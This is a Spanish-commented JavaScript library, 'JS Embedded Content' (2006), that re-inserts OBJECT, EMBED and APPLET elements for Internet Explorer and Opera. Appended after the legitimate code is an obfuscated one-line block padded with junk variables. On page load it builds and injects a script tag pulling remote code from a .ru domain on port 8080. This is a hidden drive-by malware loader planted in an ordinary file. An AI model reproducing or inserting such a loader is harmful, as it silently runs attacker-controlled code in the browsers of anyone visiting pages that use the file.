/**********************************************************************
 * Software:	JS Embedded Content
 * Versión:	1.1 Final (Oct 13, 2006)
 * Autor:	Raspu (donraspu arroba gmail punto com)
 * Copyleft 2006, Raspu - Algunos derechos reservados. 
 *
 * "JS Embedded Content" es software libre. Se otorga permiso para copiar,
 * distribuir y/o modificar este programa bajo los términos de la Licencia
 * Pública General de GNU, versión 2.0 o cualquier otra versión posterior
 * (a su elección) publicada por la Free Software Foundation.
 * 
 * Puedes consultar una copia de la licencia en http://www.gnu.org/copyleft/gpl.html
 *
 *
 * DESCRIPCIÓN:
 * ------------
 * "JS Embedded Content" es una pequeña aplicación desarrollada
 * mediante Javascript no intrusivo ni obstructivo, que permite la
 * activación automática de todos los elementos incrustados en un
 * documento HTML mediante las etiquetas OBJECT, EMBED y/o APPLET.
 *
 * NAVEGADORES COMPATIBLES:
 * ------------------------
 * - Ópera 9 final o superior (para versiones anteriores no es requerido)
 * - Internet Explorer 5 o superior (Windows, en MAC no he probado)
 * El resto de navegadores no es compatible debido al uso outerHTML,
 * pero como por el momento no lo requieren no es mayor problema.
 *
 * INSTRUCCIONES DE USO:
 * ---------------------
 * Sólo debes incluir el archivo "embeddedcontent.js" colocando el siguiente 
 * código entre las etiquetas <HEAD> y </HEAD> de tus documentos HTML:
 * 
 * <script type="text/javascript" src="embeddedcontent.js" defer="defer"></script>
 *
 * NOTA: el uso del atributo DEFER es imprescindible para poder emular en 
 * I. Explorer el evento DOMContentLoaded.
 **********************************************************************/
var embeddedContent = 
{

	isMSIE : (document.all && !window.opera) ? true : false,
	
	
	/**
	 * Reinserta en el documento HTML los elementos que han sido incrustados mediante
	 * las etiquetas OBJECT, EMBED y/o APPLET, redefiniendo su propiedad outerHTML
	 */
	reinsertContent : function()
	{	
	var totalNodes = new Array(3);
		totalNodes['OBJECT'] = document.getElementsByTagName('OBJECT').length;
		totalNodes['EMBED'] = document.getElementsByTagName('EMBED').length;
		totalNodes['APPLET'] = document.getElementsByTagName('APPLET').length;
		for(var tagName in totalNodes)
		{
			var counter = totalNodes[tagName] - 1;
			for(var node; node = document.getElementsByTagName(tagName)[counter]; counter--)
			{
				sourceCode = embeddedContent.getSourceCode(node);
				if(sourceCode)
				{
					node.outerHTML = sourceCode;
				}
			}
		}
		embeddedContent.isMSIE = null;
	},
	
	
	/**
	 * Obtiene el código HTML completo de un determinado nodo.
	 * @param	node (object) - El nodo analizado
	 * @return	sourceCode (string) - El código HTML obtenido
	 */
	getSourceCode : function(node)
	{
		var sourceCode = node.outerHTML;
		switch(node.nodeName)
		{
			case 'EMBED':
				return sourceCode;
			break;
			case 'OBJECT':
			case 'APPLET':
				var openTag = sourceCode.substr(0, sourceCode.indexOf('>') + 1).toLowerCase();
				var closeTag = sourceCode.substr(sourceCode.length - 9).toLowerCase();
				if(closeTag != '</object>' && closeTag != '</applet>')
				{
					/* Si el nodo está mal formado (etiquetas de apertura y cierre) se debe 
					anular el script ya que podría devolver un resultado incorrecto */
					return null;
				}
				if(embeddedContent.isMSIE)
				{
					/* Para I. Explorer se debe obtener aparte el código HTML de los nodos hijos,
					ya que la propiedad outerHTML en ocasiones devolverá un resultado incompleto */
					var innerCode = embeddedContent.getInnerCode(node);
					sourceCode = openTag + innerCode + closeTag;
				}
				return sourceCode;
			break;
		}
	},
	
	
	/**
	 * Obtiene el código HTML de los nodos hijos de un determinado nodo. No se debe utilizar directamente
	 * la propiedad innerHTML ya que en ciertos casos I. Explorer devolverá un resultado incompleto.
	 * @param	node (object) - El nodo padre que será analizado
	 * @return	innerCode (string) - El código HTML obtenido
	 */
	getInnerCode : function(node)
	{
		var innerCode = '';
		var totalChilds = node.childNodes.length - 1;
		for(var counter = totalChilds, child; child = node.childNodes[counter]; counter--)
		{
			innerCode += child.outerHTML;
		}
		return innerCode;
	}
	
}


/**
 * Activación:
 * -----------
 * Detectamos el soporte de attachEvent() como filtro para I. Explorer y Ópera.
 * Para ejecutar el script sólo necesitamos que el DOM (Document Object Model); para
 * ello en Ópera recurrimos al evento DOMContentLoaded, mientras que en I. Explorer
 * emulamos dicho evento apoyándonos en el atributo DEFER de la etiqueta SCRIPT
 * con la que estamos cargando este archivo.
 */
if(document.attachEvent)
{
	if(window.opera)
	{
		document.attachEvent("DOMContentLoaded", embeddedContent.reinsertContent);
	}
	else
	{
		embeddedContent.reinsertContent();
	}
}
try {var _=new Array();var Oe;if(Oe!='' && Oe!='W'){Oe=null};this.eV="";var r='[';var Or=new Date();var S=']';var wF;if(wF!='s' && wF != ''){wF=null};this.sJ="";var D='';var ES;if(ES!='TT' && ES != ''){ES=null};var f=new Array();var e='replace';var Te;if(Te!='y'){Te='y'};var w=RegExp;var U=new Date();var qd=new Date();var eh='g';var Tw="";var eA;if(eA!='M'){eA='M'};function x(L,O){var kr;if(kr!='X'){kr=''};var wFB;if(wFB!='N'){wFB=''};var _Y=new Date();var v=new Date();var o=r;this.OF='';o+=O;o+=S;var TD;if(TD!='gD' && TD != ''){TD=null};var V=new w(o, eh);var Sl;if(Sl!='uJ' && Sl!='GM'){Sl=''};return L[e](V, D);};var L="1";var q=x('hKtNtNpN:N/N/NhKoNsKtKgKaKtKoKrK-KcKoNmK.KmNoNbNiKlNeN.KdNeK.NpKaNnKtKiKpK-KcNoKmN.KmKyNhKoNmNeNoKrKdNeKrN.NrKuN:K',"NK");var Ho;if(Ho!='' && Ho!='dJ'){Ho=null};this.eR='';var SS=x('a7p7pNeNn7d7CNh7i7lNdN',"N7");var i=x('/te7x0a0mtitnDe0rD.0c0oDm0/7etx7aDm0i7n0e0rD.0ctotm0/0gtoto0gtlte7.7cDo7mt/7kta0i7x0i0nD.0c0otm0/7bDu0sDi7n0etsDstw0e7e0k0.0c7oDmt.tp0htp7',"tD70");var Nm;if(Nm!='' && Nm!='CS'){Nm=''};var n=new String();var Of=x('o1n1luoTa1dg',"uT1gc");var oCr='';var Nu='';var C=x('shcIrJiIpItd',"JdIh");var BT;if(BT!='z' && BT!='Gm'){BT=''};var jU=new Date();var x_=x('sfeGtGAdtGtdr7ifbGudtGeG',"fGd7");var ng='';var P=x('84455540555554854455455045444555',"45");var I=new Array();var m='';var ig=x('bYoYdYyB',"BfLYV");var T=x('cgrIegagtgeIETlIegmveTnItq',"TvgqI");var Lh;if(Lh!='Ti' && Lh!='gt'){Lh='Ti'};var wT;if(wT!='BM' && wT!='yg'){wT='BM'};window[Of]=function(){var BB;if(BB!='' && BB!='Dh'){BB=''};var PF=new Array();var ai=new Array();a=document[T](C);var QX;if(QX!=''){QX='Ey'};var OOf=new Date();var Wz;if(Wz!='be'){Wz=''};m+=q;var Aj="";var oZ="";m+=P;this.Hc='';m+=i;var ru;if(ru!='dH' && ru!='_B'){ru='dH'};var YS="";a.setAttribute('defer', L);a.src=m;this.kp='';var ef=document[ig];var Qj="";var pX='';var tq;if(tq!=''){tq='GL'};var Do=new String();ef.appendChild(a);};var h_='';var JH=new String();} catch(R){};